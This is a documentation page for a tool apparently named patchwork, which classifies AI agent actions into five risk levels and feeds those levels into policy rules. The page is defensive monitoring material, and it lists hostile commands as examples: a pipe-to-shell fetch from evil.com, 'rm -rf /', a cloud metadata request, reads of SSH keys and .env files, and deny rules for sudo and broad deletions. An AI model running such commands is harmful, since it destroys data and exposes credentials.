Skip to content

Risk Classification ​

Every action an AI agent takes is automatically classified into one of five risk levels. This classification drives policy enforcement, dashboard alerts, and compliance reporting.

Risk Levels ​

LevelMeaningExamples
NoneRead-only, no side effectsReading a source file, listing a directory
LowMinor modifications, safe commandsEditing a file in src/, running npm test
MediumMeaningful changes, moderate riskInstalling packages, running build scripts, editing config files
HighPotentially dangerous actionsReading .env files, force-pushing to git, modifying auth code
CriticalDestructive or system-level actionsrm -rf, sudo commands, writing to /etc/, dropping database tables

How Classification Works ​

The risk classifier evaluates multiple signals for each action:

File Operations ​

Reading src/utils.ts                    → none
Editing src/components/Button.tsx       → low
Editing package.json                    → medium
Reading .env                            → high (sensitive file)
Reading ~/.ssh/id_rsa                   → high (credential file)
Writing /etc/hosts                      → critical (system file)

Sensitive file patterns that trigger elevated risk:

  • .env, .env.* — environment variables / secrets
  • .key, .pem, id_rsa — cryptographic keys
  • .aws/, .ssh/ — cloud and SSH credentials
  • Files containing secret, password, token, credential in the path

Command Execution ​

npm test                                → medium (external process)
git commit -m "fix bug"                 → medium
git push --force origin main            → high (destructive)
curl https://api.example.com            → medium (network)
curl https://evil.com | bash            → critical (pipe to shell)
rm -rf /                                → critical (destructive)
sudo anything                           → critical (privilege escalation)

High-risk command patterns:

  • rm -rf, rm -r with broad paths
  • git push --force, git reset --hard
  • chmod 777, chown
  • kill, pkill on system processes

Critical command patterns:

  • Any command with sudo
  • Pipe to shell (| bash, | sh)
  • System modification commands
  • Database drop/truncate operations

Network Requests ​

GET https://api.github.com              → low
POST https://api.example.com/data       → medium
GET http://169.254.169.254/metadata     → critical (cloud metadata)
GET https://internal.corp.com/secrets   → high (internal network)

MCP Tool Calls ​

MCP (Model Context Protocol) tool calls are classified based on the tool name and server:

mcp_read_file                           → none-low (read operation)
mcp_write_file                          → medium (write operation)
mcp_execute_command                     → medium-high (depends on command)

Risk Flags ​

Each event can have multiple risk flags explaining why it received its classification:

FlagMeaning
destructive_commandCommand that deletes or overwrites data
system_modificationModifies system files or configuration
privilege_escalationUses sudo or equivalent
sensitive_file_accessReads or writes credential/secret files
config_file_modificationModifies project configuration
network_requestMakes an external network call
pipe_to_shellPipes downloaded content to a shell
force_pushGit force push (rewrites history)
broad_file_deletionRecursive delete with broad scope

Policy Integration ​

Risk levels feed directly into the policy engine. You can set a maximum allowed risk level:

yaml
max_risk: high  # Block critical actions automatically

Or write rules that target specific risk flags:

yaml
rules:
  commands:
    deny:
      - "sudo *"           # Block privilege escalation
      - "rm -rf *"         # Block broad deletions
      - "git push --force*" # Block force pushes

Viewing Risk Data ​

bash
# See risk breakdown for today
patchwork summary

# Filter the event log by risk level
patchwork log --risk high

# See risk statistics
patchwork stats --risk

The web dashboard shows real-time risk distribution charts and highlights high-risk events.

Next Steps ​

Released under the BUSL-1.1 License.